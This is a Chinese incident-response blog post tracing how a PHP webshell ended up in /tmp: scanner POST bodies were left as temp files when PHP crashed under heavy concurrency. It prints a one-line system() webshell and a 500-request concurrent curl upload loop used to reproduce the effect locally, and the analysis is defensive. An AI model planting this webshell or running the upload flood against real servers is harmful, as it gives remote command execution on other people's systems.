应急响应-php临时文件写入webshell排查分析
最近一次真实的应急场景,背景如下:
- 主机安全告警存在webshell。
- 木马文件名为php。同时/tmp目录下存在大量php临时文件。
- Nginx访问日志中存在大量扫描器流量,但木马文件生成时间未发现对应的异常请求。
- 该机器开通了waf,但扫描器的ip是被加白的(并非外网恶意扫描)。
应急排查过程分析
初步研判
<?php $cmd=$_GET['cmd']; system($cmd); ?>
上传的木马是一个最简单的webshell。理论上这种没有编码的webshell直接就被waf拦截,根本不会上传成功。推测大概率是扫描器的上传的webshell。
由于是通过php临时文件写入的webshell(见上图隔离文件),同时/tmp目录下还存在大量php临时文件。
日志中存在大量扫描器特征,所以下面排查的方向就是找到是通过什么接口上传的webshell,并且只关注post的请求即可。
应急难点?
初步研判之后,梳理了排查方向。但是仍存在困难点。
- 日志量巨大,正常业务请求混杂扫描器流量。每分钟的日志量多到达上千条。
- 没有关键特征,Nginx日志不会记录post的body内容。
- 木马文件已隔离,但是文件的隔离时间不一定是文件真实写入时间。
排查php配置文件
php.ini
中未指定upload_tmp_dir
的路径,则php的临时文件会默认写入系统的临时目录/tmp下面。确定/tmp下的文件是由php生成的。
排查Nginx访问日志
由于木马文件已经被主机安全隔离,但是文件的隔离时间不一定是文件真实写入时间。所以通过木马隔离时间来排查对应Nginx的访问日志不一定准确。
正难则反,/tmp目录下还有其他大量php临时文件,这部分文件的写入时间是准确的。
排查发现正常的业务请求就不贴图了。
最终排查多个php临时文件的生成时间对应的访问日志,并未发现没有异常的请求。
峰回路转-本地复现
php临时文件是如何生成的?
既然正常排查没有结果,那换个思路。怎么才能让php生成这些临时文件?
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。
PHP的POST临时文件机制
- 该文件默认存储在 /tmp 目录中『可通过 php.ini 的 upload_tmp_dir 指定存储位置』
- 文件名为 php[6个随机字符],例:phpG4ef0q
- 若本次请求正常结束,临时文件会被自动删除
- 若非正常结束,比如崩溃,临时文件可能会被永久保留
所以能构造出异常的请求,比如让php崩溃最终不能删除临时文件,就能产生php临时文件。
监控/tmp目录下的文件变动
使用inotifywait命令进行监控,可通过yum安装。
yum -y install inotify-tools inotifywait -m --timefmt "%Y-%m-%d %H:%M:%S" --format "[%T] : [%e] : %w%f" /tmp
开启主机安全实时监控
构造高并发请求
因为php对post请求的内容都会生成临时文件,所以可以手动构造高并发post请求让服务端生成大量php临时文件甚至出现错误。
这里模拟500个并发请求,post的内容为eval.php。
root@VM-8-15-ubuntu:/root# cat eval.php <?php $cmd=$_GET['cmd']; system($cmd); ?> root@VM-8-15-ubuntu:/root# for i in `seq 1 500`;do curl "http://target.com/" -F "FILE=@eval.php" -o /dev/null -s & done
最终过程结果和文章的开头的视频一致,在高并发的请求下成功写入webshell。同时收到一堆主机安全的告警短信。
进程链分析
最终比对模拟并发请求生成的webshell文件的进程链与应急排查主机的信息完全一致,证实了我一开始的猜想。
总结
php临时文件写入webshell这个trick虽然很早就有了,但也是第一次在应急实战中遇到。
并非所有的应急case都是被入侵导致的,比如这次高并发请求下将扫描器的post内容写入了php临时文件,却因为并发太高使php崩溃未能删除临时文件,导致被主机安全告警隔离。虽然可能只是小概率事件,但这个case还是很有趣的!
赞赏微信赞赏支付宝赞赏
5条评论